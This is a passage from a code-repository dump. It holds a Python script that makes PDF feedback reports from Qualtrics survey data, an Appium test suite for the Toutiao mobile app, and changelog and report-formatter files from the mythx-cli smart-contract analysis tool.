\"<b>Topic:<b/> How will our work get done?<p/>\"\n course_info += \"<b>Learners:<b/> \" + learners_text + \"<p/>\"\n \n course_info += \"<b>Group Name:</b> \" + str(report_data[i][1]) + \"<p/>\"\n\n ratings = \"<p/>\"\n ratings += \"1= Poor, 2= Fair, 3= Fair, 4= Very Good, 5= Excellent\"\n ratings += \"\"\"<table border=\"1\" align=\"left\" width=\"100%\">\n <thead>\n <tr>\n <th width=\"56%\">How would you rate your small group facilitator's:</th>\n <th width=\"10%\">Count</th>\n <th width=\"17%\">Your Score</th>\n <th width=\"15%\">Average Score</th>\n </tr>\n </thead>\n <tbody>\n <tr>\n <td>Level Of Preparation</td>\n <td>\"\"\" + str(report_data[i][2][0]) + \"\"\"</td>\n <td>\"\"\" + str(report_data[i][3][0]) + \"\"\"</td>\n <td>\"\"\" + str(report_data[i][3][3]) + \"\"\"</td>\n </tr>\n <tr>\n <td>Ability to facilitate?</td>\n <td>\"\"\" + str(report_data[i][2][1]) + \"\"\"</td>\n <td>\"\"\" + str(report_data[i][3][1]) + \"\"\"</td>\n <td>\"\"\" + str(report_data[i][3][3]) + \"\"\"</td>\n </tr>\n <tr>\n <td>Overall Effectiveness?</td>\n <td>\"\"\" + str(report_data[i][2][1]) + \"\"\"</td>\n <td>\"\"\" + str(report_data[i][3][1]) + \"\"\"</td>\n <td>\"\"\" + str(report_data[i][3][3]) + \"\"\"</td>\n </tr>\n </tbody>\n </table>\"\"\"\n\n comments = \"<b>Please include any specific comments about strengths/ suggestions for improvement for your small group facilitator.</b><p/>\"\n \n for j in range(len(report_data[i][4])):\n if report_data[i][4][j].strip() != \"None\" and report_data[i][4][j].strip() != \"Na\":\n comments += str(report_data[i][4][j].encode(\"utf-8\"))[2:-1] + \"<br/>\"\n \n comments += \"</html>\"\n \n pdf = HTML2PDF()\n pdf.add_page()\n pdf.write_html(course_info)\n pdf.write_html(ratings)\n pdf.write_html(comments)\n pdf.output('reports/' + str(report_data[i][0]).replace(\" \", \"_\") + \"-\" + str(report_data[i][1]).replace(\" \", \"__\") + '.pdf')" }, { "alpha_fraction": 0.5606033802032471, "alphanum_fraction": 0.5809507369995117, "avg_line_length": 36.02597427368164, "blob_id": "0ad79e0914ed3f49c2b1b79b7ccc2dd83f281694", "content_id": "cd855c407be081e5f039df5426d6fcd4c99932bc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5701, "license_type": "permissive", "max_line_length": 147, "num_lines": 154, "path": "/reports_by_facilitator.py", "repo_name": "gboushey/qualtrics_reports", "src_encoding": "UTF-8", "text": "##\n## this script generates pdf reports for facilitator feedback from quatrics\n##\n## facilitator names can be in one of two columns, Facilitator #1, or Facilitator #2\n## for each faciliator, the script calculates the average\n## - level of preparation\n## - ability to facilitate discussion\n## - overall level of preparation\n## - interprofessional collaboration\n##\n## overview of script\n##\n## input is a qualtrics csv file holding info on a survey of facilitators\n## including the facilitator name and a 1-5 rating for the questions \n##\n## because these values can be for either Facilitator #1 or #2, the script runs \n## two queries. The queries are converted into two dataframes and vertically stacked\n## (pandas equivalent of a UNION query).\n## \n## the script populates a PDF with those generated values and some other text \n## supplied \n\nimport sys\nimport pandas as pd\n\nfrom pandasql import sqldf\npysqldf = lambda q: sqldf(q, globals())\n\nfrom fpdf import FPDF, HTMLMixin\nclass HTML2PDF(FPDF, HTMLMixin):\n pass\n\ndf = pd.read_csv('data/data_1.13.20.csv')\ndf_data = df.loc[3:, 'Q2':]\n\nfacilitator_col = ['Q16', 'Q22']\n#no longer using group\n#group_col = 'Q4'\ncomment_col = ['Q20', 'Q26']\nlevel_of_preparation = ['Q18_1', 'Q24_1']\nability_facilitate_discussion = [ 'Q18_2', 'Q24_2']\noverall_level_preparation = ['Q18_3', 'Q24_3']\ninterprofessional_collaboration = 'Q5_1'\n\nlearners_text = \"First Year Students from Medicine, Nursing, Pharmacy, Dentistry, and Physical Therapy\"\ntopic = \"Roles and Responsibilities\"\nsession = \"IPE Session #2 on Monday, January 13, 2020\"\navg_preparation= 4.70\navg_facilitation = 4.67\navg_effectiveness = 4.68\n\ndef case_stmt(field):\n return \"CASE WHEN \" + field + \" == 'Excellent' THEN 5 \\\n WHEN \" + field + \" == 'Very Good' THEN 4 \\\n WHEN \" + field + \" == 'Good' THEN 3 \\\n WHEN \" + field + \" == 'Fair' THEN 2 \\\n WHEN \" + field + \" == 'Poor' THEN 1 END\"\n\ndef facilitator_query(i):\n fac_query = pysqldf(\"SELECT \" + facilitator_col[i] + \" AS FACILITATOR, \"\n + case_stmt(level_of_preparation[i]) + \" as Q1, \" \\\n + case_stmt(ability_facilitate_discussion[i]) + \" as Q2, \" \\\n + case_stmt(overall_level_preparation[i]) + \" as Q3, \" \\\n + case_stmt(interprofessional_collaboration) + \" as Q5, \" \\\n + comment_col[i] + \" AS COMM \" \\\n \"FROM df_data ORDER BY FACILITATOR\")\n \n return fac_query\n \nq0 = facilitator_query(0)\nq1 = facilitator_query(1)\n\nfacilitator_df = pd.concat([q0, q1], axis=0)\n\ndf_averages = pysqldf(\"SELECT FACILITATOR, COUNT(*), AVG(Q1), AVG(Q2), AVG(Q3), AVG(Q5) FROM facilitator_df GROUP BY FACILITATOR\")\n\n#unique_fac_grp = pysqldf(\"SELECT DISTINCT FACILITATOR, GRP FROM df_report WHERE FACILITATOR != 'None' \\\n# AND GRP != 'None' ORDER BY FACILITATOR, GRP\")\n\n\n\n# doing some basic checking if field is blank, but if people type 'Na', or \"None', it'll show up...\ndef facilitator_comments(facilitator):\n return pysqldf(\"SELECT DISTINCT COMM FROM facilitator_df WHERE FACILITATOR = '\" \n + facilitator + \"' AND FACILITATOR IS NOT NULL \\\n AND FACILITATOR != '' and FACILITATOR != 'None'\")\n \n\nfor i in range(0,len(df_averages)):\n\n facilitator_data = df_averages.iloc[i]\n \n if facilitator_data[0] is not None and facilitator_data[0].strip() is not '-':\n \n course_info = \"<html>\"\n course_info += \"<b>Facilitator Name:</b> \" + str(facilitator_data[0]) + \"<p/>\"\n course_info += \"<hr/>\"\n \n course_info += \"<b><font face=Verdana>\" + session + \"</font></b><p/>\"\n course_info += \"<b>Topic:<b/> \" + topic + \"<p/>\"\n course_info += \"<b>Learners:<b/> \" + learners_text + \"<p/>\"\n \n ratings = \"<p/>\"\n ratings += \"1= Poor, 2= Fair, 3= Fair, 4= Very Good, 5= Excellent\"\n ratings += \"\"\"<table border=\"1\" align=\"left\" width=\"100%\">\n <thead>\n <tr>\n <th width=\"56%\">How would you rate your small group facilitator's:</th>\n <th width=\"12%\">Responses</th>\n <th width=\"15%\">Your Score</th>\n <th width=\"15%\">Average Score</th>\n </tr>\n </thead>\n <tbody>\n <tr>\n <td>Level Of Preparation</td>\n <td>\"\"\" + str(facilitator_data[1]) + \"\"\"</td>\n <td>\"\"\" + str(round(facilitator_data[2], 2)) + \"\"\"</td>\n <td>\"\"\" + str(avg_preparation) + \"\"\"</td>\n </tr>\n <tr>\n <td>Ability to facilitate?</td>\n <td>\"\"\" + str(facilitator_data[1]) + \"\"\"</td>\n <td>\"\"\" + str(round(facilitator_data[3],2)) + \"\"\"</td>\n <td>\"\"\" + str(avg_facilitation) + \"\"\"</td>\n </tr>\n <tr>\n <td>Overall Effectiveness?</td>\n <td>\"\"\" + str(facilitator_data[1]) + \"\"\"</td>\n <td>\"\"\" + str(round(facilitator_data[4],2)) + \"\"\"</td>\n <td>\"\"\" + str(avg_effectiveness) + \"\"\"</td>\n </tr>\n </tbody>\n </table>\"\"\"\n\n comments = \"<b>Please include any specific comments about strengths/ suggestions for improvement for your small group facilitator.</b><p/>\"\n\n comment_list = facilitator_comments(facilitator_data[0])['COMM'].to_list()\n \n for c in comment_list:\n if c is not None:\n comments += str(c.encode(\"utf-8\"))[2:-1] + \"<br/>\"\n \n comments += \"</html>\"\n \n pdf = HTML2PDF()\n pdf.add_page()\n pdf.write_html(course_info)\n pdf.write_html(ratings)\n pdf.write_html(comments)\n \n print(facilitator_data[0])\n \n pdf.output('reports_by_facilitator/' + str(facilitator_data[0]).replace(\" \", \"-\") + '.pdf')" }, { "alpha_fraction": 0.8360655903816223, "alphanum_fraction": 0.8360655903816223, "avg_line_length": 29.5, "blob_id": "cfb75c9810d66dd88f0cedc4854c7852cba303c5", "content_id": "209b5e6574a57ce9ee16106eafed419fbb50700c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 61, "license_type": "permissive", "max_line_length": 40, "num_lines": 2, "path": "/README.md", "repo_name": "gboushey/qualtrics_reports", "src_encoding": "UTF-8", "text": "# qualtrics_reports\ngenerate pdf reports from qualtrics data\n" } ]
3
RaymondLam123/Toutiao
https://github.com/RaymondLam123/Toutiao
13d7b5f849a0f9b8742818a58cc6886522fc8ad6
1861d2cd2abe3654669eb3d20c514cee8792f7ee
28d5b82cc4d10411a66717dc0e829e67c15e0273
refs/heads/master
2020-06-06T12:11:43.658122
2019-06-19T13:31:56
2019-06-19T13:31:56
192,736,469
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.603960394859314, "alphanum_fraction": 0.6072607040405273, "avg_line_length": 16.705883026123047, "blob_id": "d3e656bb980ed644b0ad84818de58065a264dd64", "content_id": "1adfaf50102a1194b9383ee30025840cc89d7143", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 315, "license_type": "no_license", "max_line_length": 44, "num_lines": 17, "path": "/Page/fabuye.py", "repo_name": "RaymondLam123/Toutiao", "src_encoding": "UTF-8", "text": "'''\n首页\n'''\nimport time\n\nimport Page\nfrom Base.Base import Base\n\n\nclass fabuye_po(Base):\n def __init__(self,driver):\n Base.__init__(self,driver)\n #发布内容\n def send(self,text):\n self.send_keys(Page.input_text.text)\n time.sleep(2)\n self.click_element(Page.send_button)\n\n\n" }, { "alpha_fraction": 0.7026315927505493, "alphanum_fraction": 0.7078947424888611, "avg_line_length": 17.095237731933594, "blob_id": "1ca1433304aa15c88d6490344327435a05617e4c", "content_id": "1ed5a0916a022e63e6e4093e23c2775e32c4bea2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 454, "license_type": "no_license", "max_line_length": 64, "num_lines": 21, "path": "/Page/__init__.py", "repo_name": "RaymondLam123/Toutiao", "src_encoding": "UTF-8", "text": "from selenium.webdriver.common.by import By\n'''\n首页\n'''\n#发布按钮\ndeploy_button = ()\n#发图文按钮\nsend_imageAndtext_button = ()\n#搜索输入框\nsearch_input_button=(By.ID,'com.ss.android.article.news:id/bln')\n#搜索输入框2\nsearch_input_button2=(By.ID,'com.ss.android.article.news:id/uk')\n#搜索按钮\nsearch_button=(By.ID,'com.ss.android.article.news:id/uh')\n'''\n发布页\n'''\n#文本输入框\ninput_text=()\n#发布按钮\nsend_button=()\n" }, { "alpha_fraction": 0.5571536421775818, "alphanum_fraction": 0.5662376880645752, "avg_line_length": 22.60714340209961, "blob_id": "86c0719b19d69ea5da5cce3c6adf53a97e13fab1", "content_id": "3611ce1f4222d89bb554bcb5c57d864196569244", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1585, "license_type": "no_license", "max_line_length": 63, "num_lines": 56, "path": "/scripts/test_deploy_toutiao.py", "repo_name": "RaymondLam123/Toutiao", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#发布头条\nimport sys, os\nsys.path.append(os.getcwd())\n\nimport pytest\nimport time\n\nfrom Base.Init__driver import Init_driver\nfrom Page.Page import Page\n\n#贼坑,记住已定义要大写\nclass Test_deploy_toutiao:\n def setup_class(self):\n #获取驱动\n self.driver=Init_driver()\n #获取统一页面入口对象\n self.page=Page(self.driver)\n self.shouye_po=self.page.ret_shouye_po()\n self.fabuye_po=self.page.ret_fabuye_po()\n\n @pytest.mark.skipif(condition=2 > 1, reason=\"跳过该函数\")\n def test01(self):\n '''\n 1、进入【首页】,点击发布\n 2、点击发图文按钮\n 3、进入,【发布页面】,输入文本(上传图片)\n 4、点击发布\n '''\n #点击发布\n self.shouye_po.click_deploy_button()\n #点击发图文按钮\n self.shouye_po.click_send_imageAndtext_button()\n #发布内容\n text='你好,我是诸葛维琪'\n self.fabuye_po.send(text)\n\n def test02(self):\n '''\n 搜索头条,发布头条\n :return:\n '''\n #点击输入框\n self.shouye_po.click_search_input_button()\n #输入搜索内容\n self.shouye_po.send('林峰')\n #点击搜索按钮\n self.shouye_po.click_search_button()\n time.sleep(5)\n\n def teardown_class(self):\n self.driver.quit()\nif __name__ == '__main__':\n \n #pytest.main(['-s', 'test_deploy_toutiao.py'])\n pytest.main(\"-s --alluredir report test_deploy_toutiao.py\")" }, { "alpha_fraction": 0.7019230723381042, "alphanum_fraction": 0.7019230723381042, "avg_line_length": 30, "blob_id": "ba53e89c1e1da9b0bffb11c5c5ec69994e02b287", "content_id": "0b2dc0e546f05c07b3d10cdb1852d9ab083c5889", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 332, "license_type": "no_license", "max_line_length": 66, "num_lines": 10, "path": "/Base/Init__driver.py", "repo_name": "RaymondLam123/Toutiao", "src_encoding": "UTF-8", "text": "\nfrom appium import webdriver\nfrom Base.Read_data import ret_config_data\n#获取驱动\ndef Init_driver():\n #读取配置文件\n config_data = ret_config_data()\n print('config_data:',config_data)\n desired_caps = config_data['Devices']\n driver = webdriver.Remote(config_data['Remote'], desired_caps)\n return driver\n\n" }, { "alpha_fraction": 0.6520146727561951, "alphanum_fraction": 0.6556776762008667, "avg_line_length": 27.6842098236084, "blob_id": "2b0326ab0ea1c268c9f01ccf06279ec021fb2ec3", "content_id": "9ee3df7d224a7cfa5d8340835c10ccfde367a778", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 570, "license_type": "no_license", "max_line_length": 87, "num_lines": 19, "path": "/Base/Base.py", "repo_name": "RaymondLam123/Toutiao", "src_encoding": "UTF-8", "text": "from selenium.webdriver.support.wait import WebDriverWait\n\nfrom Base.Init__driver import Init_driver\n\n\nclass Base(object):\n def __init__(self,driver):\n self.driver = driver\n #查找元素\n def find_element(self,loc,timeout=20):\n return WebDriverWait(self.driver,timeout).until(lambda x:x.find_element(*loc));\n #点击操作\n def click_element(self,loc):\n self.find_element(loc).click()\n #输入文本\n def send_keys(self,loc,text):\n self.fm=self.find_element(loc)\n self.fm.clear()\n self.fm.send_keys(text)\n\n" }, { "alpha_fraction": 0.4740740656852722, "alphanum_fraction": 0.5185185074806213, "avg_line_length": 16, "blob_id": "08e9aa11f9f0db5bc6c96e0dbfbe8224f3ab868b", "content_id": "19e8816dab7114faa5a14e9cf64bcac94660b6cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 135, "license_type": "no_license", "max_line_length": 37, "num_lines": 8, "path": "/scripts/test2.py", "repo_name": "RaymondLam123/Toutiao", "src_encoding": "UTF-8", "text": "import pytest\n\n\nclass Test2:\n def test2(self):\n print('111')\nif __name__ == '__main__':\n pytest.main(['-s', './test2.py'])" }, { "alpha_fraction": 0.6075268983840942, "alphanum_fraction": 0.6075268983840942, "avg_line_length": 21.875, "blob_id": "56bc7aad86eb158f3f0299db4ad7f98be5d74eb0", "content_id": "0882acaafe53ab94860a9428b603af103845e366", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 200, "license_type": "no_license", "max_line_length": 64, "num_lines": 8, "path": "/Base/Read_data.py", "repo_name": "RaymondLam123/Toutiao", "src_encoding": "UTF-8", "text": "import os\n\nimport yaml\n#读取设备的配置\ndef ret_config_data():\n file_path = os.getcwd() + os.sep + 'device_config' + '.yaml'\n with open(file_path,'r') as f:\n return yaml.load(f)\n\n\n\n" }, { "alpha_fraction": 0.7443609237670898, "alphanum_fraction": 0.7443609237670898, "avg_line_length": 18.14285659790039, "blob_id": "fccec7270c35240fd27ee7f85821fee33bb7330f", "content_id": "e2925d4e68858963edf43c9c0532a180f781c7ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 133, "license_type": "no_license", "max_line_length": 42, "num_lines": 7, "path": "/test.py", "repo_name": "RaymondLam123/Toutiao", "src_encoding": "UTF-8", "text": "from Base.Read_data import ret_config_data\nimport os\ndata = ret_config_data()\nprint(type(data))\nprint(data)\nd=data['Remote']\nprint(d)" }, { "alpha_fraction": 0.6360759735107422, "alphanum_fraction": 0.6360759735107422, "avg_line_length": 18.75, "blob_id": "5203e30fa17144f49e914cc3264c251e0a91e454", "content_id": "3462f18a0d0344f2283f0ec4a1bd7753d743227f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 354, "license_type": "no_license", "max_line_length": 37, "num_lines": 16, "path": "/Page/Page.py", "repo_name": "RaymondLam123/Toutiao", "src_encoding": "UTF-8", "text": "'''\n统一入口页面\n'''\nfrom Page.fabuye import fabuye_po\nfrom Page.shouye import shouye_po\n\n\nclass Page:\n def __init__(self,driver):\n self.driver = driver\n #返回首页对象\n def ret_shouye_po(self):\n return shouye_po(self.driver)\n #返回发布页对象\n def ret_fabuye_po(self):\n return fabuye_po(self.driver)\n" }, { "alpha_fraction": 0.6517027616500854, "alphanum_fraction": 0.6532507538795471, "avg_line_length": 24.760000228881836, "blob_id": "8ed7611812521c9b58ed92e6097bd1f5ac31ff94", "content_id": "a12cc72ab7d944fd12f04137033c54abc8ee2650", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 708, "license_type": "no_license", "max_line_length": 57, "num_lines": 25, "path": "/Page/shouye.py", "repo_name": "RaymondLam123/Toutiao", "src_encoding": "UTF-8", "text": "'''\n首页\n'''\nimport Page\nfrom Base.Base import Base\n\n\nclass shouye_po(Base):\n def __init__(self,driver):\n Base.__init__(self,driver)\n #点击发布\n def click_deploy_button(self):\n self.click_element(Page.deploy_button);\n #点击发图文按钮\n def click_send_imageAndtext_button(self):\n self.click_element(Page.send_imageAndtext_button)\n #点击搜索按钮\n def click_search_input_button(self):\n self.click_element(Page.search_input_button)\n #输入搜索内容\n def send(self,text):\n self.send_keys(Page.search_input_button2, text)\n #点击搜索按钮\n def click_search_button(self):\n self.click_element(Page.search_button)\n\n\n" } ]
10
leorsnd/arvorebinaria
https://github.com/leorsnd/arvorebinaria
03f66326cd24716862261f197a909bd1f798448b
91c5f10a97f42036344d56bd73b500008e904dfd
53d0d8a0d97f512fafeb75c3be3a8d9483146578
refs/heads/master
2020-12-29T23:51:35.347311
2020-02-06T21:01:44
2020-02-06T21:01:44
238,783,570
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4299876093864441, "alphanum_fraction": 0.4299876093864441, "avg_line_length": 26.827587127685547, "blob_id": "a21c3f053750a58709de5d013dce95f752b47e37", "content_id": "9e9898021b30a760beb37e0430db7471bb68152a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1614, "license_type": "no_license", "max_line_length": 56, "num_lines": 58, "path": "/Arvre.py", "repo_name": "leorsnd/arvorebinaria", "src_encoding": "UTF-8", "text": "class Node:\n def __init__(self, key=None, left=None, right=None):\n self.key = key\n self.left = left\n self.right = right\n \n def imprime(self):\n if self.left:\n self.left.imprime()\n print(self.key, end=\" \")\n if self.right:\n self.right.imprime()\n \n \n def __insere(self, key):\n if self.key is None:\n self.key = key\n return True\n else:\n if key < self.key:\n if self.left:\n return self.left.__insere(key)\n else:\n self.left = Node(key)\n return True\n elif key > self.key:\n if self.right:\n return self.right.__insere(key)\n else:\n self.right = Node(key)\n return True\n else:\n return False\n \n def insere_no(self, key):\n if self.__insere(key):\n print(\"Chave inserida\")\n else:\n print(\"Chave nao inserida\")\n \n def __pesquisa(self, key):\n if self.key is None:\n return False\n else:\n if key < self.key:\n if self.left:\n return self.left.__pesquisa(key)\n elif key > self.key:\n if self.right:\n return self.right.__pesquisa(key)\n else:\n return True\n \n def pesquisa(self, key):\n if self.__pesquisa(key):\n print(\"Chave presente\")\n else:\n print(\"Chave ausente\")\n" } ]
1
s0b0lev/mythx-cli
https://github.com/s0b0lev/mythx-cli
dfe45adfb41163098d08bf1849c48083241b22e5
27dc1c4ce1d87fbd02be4d32c5fbb4281da7c53c
857d8f44ee11e7bf6972486e6be875aec9fff819
refs/heads/master
2022-04-10T21:18:20.506815
2020-03-27T10:32:23
2020-03-27T10:32:23
250,260,634
0
0
MIT
2020-03-26T13:05:11
2020-03-26T09:23:10
2020-03-26T09:23:08
null
[ { "alpha_fraction": 0.3909091055393219, "alphanum_fraction": 0.6363636255264282, "avg_line_length": 14.714285850524902, "blob_id": "eba83d0f7715d35c19f0f8ff19e6202b8fd44657", "content_id": "2a4f3ddea1abd2e5b810c01579240631b4b1abe3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 110, "license_type": "permissive", "max_line_length": 18, "num_lines": 7, "path": "/requirements.txt", "repo_name": "s0b0lev/mythx-cli", "src_encoding": "UTF-8", "text": "Click==7.1.1\npythx>1.5.0,<1.6.0\npy-solc-x==0.8.1\ntabulate==0.8.7\nJinja2==2.11.1\nhtmlmin==0.1.12\nPyYAML==5.3.1\n" }, { "alpha_fraction": 0.585086464881897, "alphanum_fraction": 0.6571547389030457, "avg_line_length": 23.0049991607666, "blob_id": "dcc94896130f2244520c9b81cd5bc224f088b214", "content_id": "f9a321ee8a795f0f5ca9f61323c8b9f0b2f43a91", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 4801, "license_type": "permissive", "max_line_length": 92, "num_lines": 200, "path": "/HISTORY.rst", "repo_name": "s0b0lev/mythx-cli", "src_encoding": "UTF-8", "text": "=======\nHistory\n=======\n\n0.6.7 (2020-03-19)\n------------------\n\nFix issue where render templates were not correctly added to manifest.\n\n\n0.6.6 (2020-03-19)\n------------------\n\n- Refactor commands into dedicated packages\n- Fix bug where click commands were not picked up by autodoc\n- Fix bug where :code:`render` command log cluttered report stdout\n- Add support for upper case targets in :code:`render` command\n- Add more verbose debug logging across package\n\n\n0.6.5 (2020-03-17)\n------------------\n\n- Add optional contract name specification for Solidity files\n- Revise usage and advanced usage docs for solc compilation\n- Add :code:`--remap-import` parameter for solc import remappings\n- Update :code:`coverage` to 5.0.4\n\n\n0.6.4 (2020-03-15)\n------------------\n\n- Add :code:`--include` flag to :code:`analyze` subcommand\n- Fix minor bug in package description content type definition\n- Update :code:`tox` to 3.14.5\n- Update :code:`sphinx` to 2.4.4\n- Update :code:`py-solc-x` to 0.8.0\n- Update :code:`click` to 7.1.1\n- Update :code:`pytest` 5.4.1\n\n\n0.6.3 (2020-02-15)\n------------------\n\n- Update :code:`sphinx` to 2.4.1\n- Improved Usage Guide documentation\n- Added more verbose descriptions in Advanced Usage guide\n- Add improved Python docstrings, enforce formatting\n- Add more precise type hints across the code base\n- Fix bug where Solidity payloads were truncated\n- Add :code:`mythx render --markdown` parameter for md reports\n- Add :code:`rglob` blacklist to exclude :code:`node_modules` during .sol directory walks\n\n\n0.6.2 (2020-02-08)\n------------------\n\n- Update :code:`pytest` to 5.3.5\n- Add :code:`mythx render` subcommand for HTML report rendering\n- Various HTML template improvements\n- Add :code:`Jinja2` and :code:`htmlmin` dependencies\n- Add documentation for custom template creation\n- Add filtering of Solidity payloads without compiled code (e.g. interfaces)\n\n\n0.6.0 & 0.6.1 (2020-01-29)\n--------------------------\n\n- Add unified reports (e.g. :code:`json` output of multiple reports in a single JSON object)\n- Add SWC ID whitelist parameter to report filter\n- Integrate report filters with :code:`--ci` flag\n- Add advanced usage guide to documentation\n- Improved messaging across CLI\n- Update :code:`pytest` to 5.3.4\n- Improve test suite assertion diff display\n\n\n0.5.3 (2020-01-16)\n------------------\n\n- Bump :code:`py-solc-x` to 0.7.0\n\n\n0.5.2 (2020-01-16)\n------------------\n\n- Fix merge release mistake (yeah, sorry.)\n\n\n0.5.1 (2020-01-16)\n------------------\n\n- Add support for new modes (quick, standard, deep)\n- Fix issue where Truffle address placeholders resulted in invalid bytecode\n\n\n0.5.0 (2020-01-14)\n------------------\n\n- Add :code:`--create-group` flag to analyze subcommand\n- Add privacy feature to truncate paths in submission\n- Support Truffle projects as target directories\n- Add SonarQube output format option\n- Revamp usage documentation\n- Update coverage to 5.0.3\n- Update package details\n\n\n0.4.1 (2020-01-03)\n------------------\n\n- Add batch directory submission feature\n- Add a :code:`--yes` flag to skip confirmation messages\n\n0.4.0 (2020-01-02)\n------------------\n\n- Add :code:`--output` flag to print to file\n- Refactor test suite\n- Update coverage to 5.0.1\n- Update Sphinx to 2.3.1\n- Update tox to 3.14.3\n\n0.3.0 (2019-12-16)\n------------------\n\n- Add links to MythX dashboard in formatters\n- Add support for analysis groups\n- Split up logic in subcommands (analysis and group)\n- Add CI flag to return 1 on high-severity issues\n- Add parameter to blacklist SWC IDs\n- Fix bug where :code:`--solc-version` parameter did not work\n- Refactor test suite\n- Update pytest to 5.3.1\n- Update Sphinx to 2.3.0\n\n0.2.1 (2019-10-04)\n------------------\n\n- Update PythX to 1.3.2\n\n0.2.0 (2019-10-04)\n------------------\n\n- Update PythX to 1.3.1\n- Add tabular format option as new pretty default\n- Update pytest to 5.2.0\n- Various bugfixes\n\n0.1.8 (2019-09-16)\n------------------\n\n- Update dependencies to account for new submodules\n\n0.1.7 (2019-09-16)\n------------------\n\n- Update pythx from 1.2.4 to 1.2.5\n- Clean stale imports, fix formatting issues\n\n0.1.6 (2019-09-15)\n------------------\n\n- Improve CLI docstrings\n- Add more formatter-related documentation\n\n0.1.5 (2019-09-15)\n------------------\n\n- Add autodoc to Sphinx setup\n- Add middleware for tool name field\n- Enable pypy3 support\n- Add more verbose documentation\n- Allow username/password login\n\n0.1.4 (2019-09-13)\n------------------\n\n- Fix Atom's automatic Python import sorting (broke docs)\n\n0.1.3 (2019-09-13)\n------------------\n\n- Fix faulty version generated by bumpversion\n\n0.1.2 (2019-09-13)\n------------------\n\n- Fix bumpversion regex issue\n\n0.1.1 (2019-09-13)\n------------------\n\n- Initial implementation\n- Integrated Travis, PyUp, PyPI upload\n\n0.1.0 (2019-08-31)\n------------------\n\n- First release on PyPI.\n" }, { "alpha_fraction": 0.5446844696998596, "alphanum_fraction": 0.5455315709114075, "avg_line_length": 38.349998474121094, "blob_id": "d056bd5a2236f92d28a9781465905210f459fdf1", "content_id": "4c58737baa8781dedd7ababfce81b228eb5406b9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2361, "license_type": "permissive", "max_line_length": 88, "num_lines": 60, "path": "/mythx_cli/formatter/sonarqube.py", "repo_name": "s0b0lev/mythx-cli", "src_encoding": "UTF-8", "text": "\"\"\"This module contains the SonarQube formatter class .\"\"\"\n\nimport json\nfrom typing import List, Optional, Tuple\n\nfrom mythx_models.response import AnalysisInputResponse, DetectedIssuesResponse\nfrom mythx_models.response.issue import Severity, SourceType\n\nfrom mythx_cli.formatter.json import JSONFormatter\n\n\nclass SonarQubeFormatter(JSONFormatter):\n \"\"\"The SonarQube issue formatter.\n\n The goal of this formatter is to deliver JSON output that allows MythX issue reports\n to be fed into the SonarQube QA system. It does not require the analysis input.\n\n This is an ongoing project and currently not\n displayed in the official documentation. Please let me know if you have access to a\n SonarQube instance and want to try it out!\n \"\"\"\n\n report_requires_input = False\n\n @staticmethod\n def format_detected_issues(\n issues_list: List[\n Tuple[DetectedIssuesResponse, Optional[AnalysisInputResponse]]\n ]\n ) -> str:\n \"\"\"Format an issue report to a SonarQube JSON representation.\"\"\"\n new_reports = []\n for resp, _ in issues_list:\n for report in resp.issue_reports:\n for issue in report:\n new_issue = {}\n for loc in issue.decoded_locations:\n for raw_loc in issue.locations:\n if raw_loc.source_type != SourceType.SOLIDITY_FILE:\n continue\n new_issue[\"onInputFile\"] = raw_loc.source_list[\n raw_loc.source_map.components[0].file_id\n ]\n new_issue[\"atLineNr\"] = loc.start_line\n\n new_issue.update(\n {\n \"linterName\": \"mythx\",\n \"forRule\": issue.swc_id,\n \"ruleType\": issue.severity.name,\n \"remediationEffortMinutes\": 0,\n \"severity\": \"vulnerability\"\n if issue.severity == Severity.HIGH\n else issue.severity.name,\n \"message\": issue.description_long,\n }\n )\n new_reports.append(new_issue)\n\n return json.dumps(new_reports)\n" }, { "alpha_fraction": 0.5359554886817932, "alphanum_fraction": 0.5365514755249023, "avg_line_length": 35.21582794189453, "blob_id": "cb9b84d9d82e6508741db232f256b7dbaef8af98", "content_id": "cf51cee5259557b60ef8d2769b170da6f3525e68", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5034, "license_type": "permissive", "max_line_length": 88, "num_lines": 139, "path": "/mythx_cli/formatter/simple_stdout.py", "repo_name": "s0b0lev/mythx-cli", "src_encoding": "UTF-8", "text": "\"\"\"This module contains a simple text formatter class printing a subset of the\nresponse data.\"\"\"\n\nfrom typing import List, Optional, Tuple\n\nfrom mythx_models.response import (\n AnalysisInputResponse,\n AnalysisListResponse,\n AnalysisStatusResponse,\n DetectedIssuesResponse,\n GroupListResponse,\n GroupStatusResponse,\n VersionResponse,\n)\n\nfrom .base import BaseFormatter\nfrom .util import generate_dashboard_link, get_source_location_by_offset\n\n\nclass SimpleFormatter(BaseFormatter):\n \"\"\"The simple text formatter.\n\n This formatter generates simplified text output. It also displays\n the source locations of issues by line in the Solidity source code\n if given. Therefore, this formatter requires the analysis input to\n be given.\n \"\"\"\n\n report_requires_input = True\n\n @staticmethod\n def format_analysis_list(resp: AnalysisListResponse) -> str:\n \"\"\"Format an analysis list response to a simple text representation.\"\"\"\n\n res = []\n for analysis in resp:\n res.append(\"UUID: 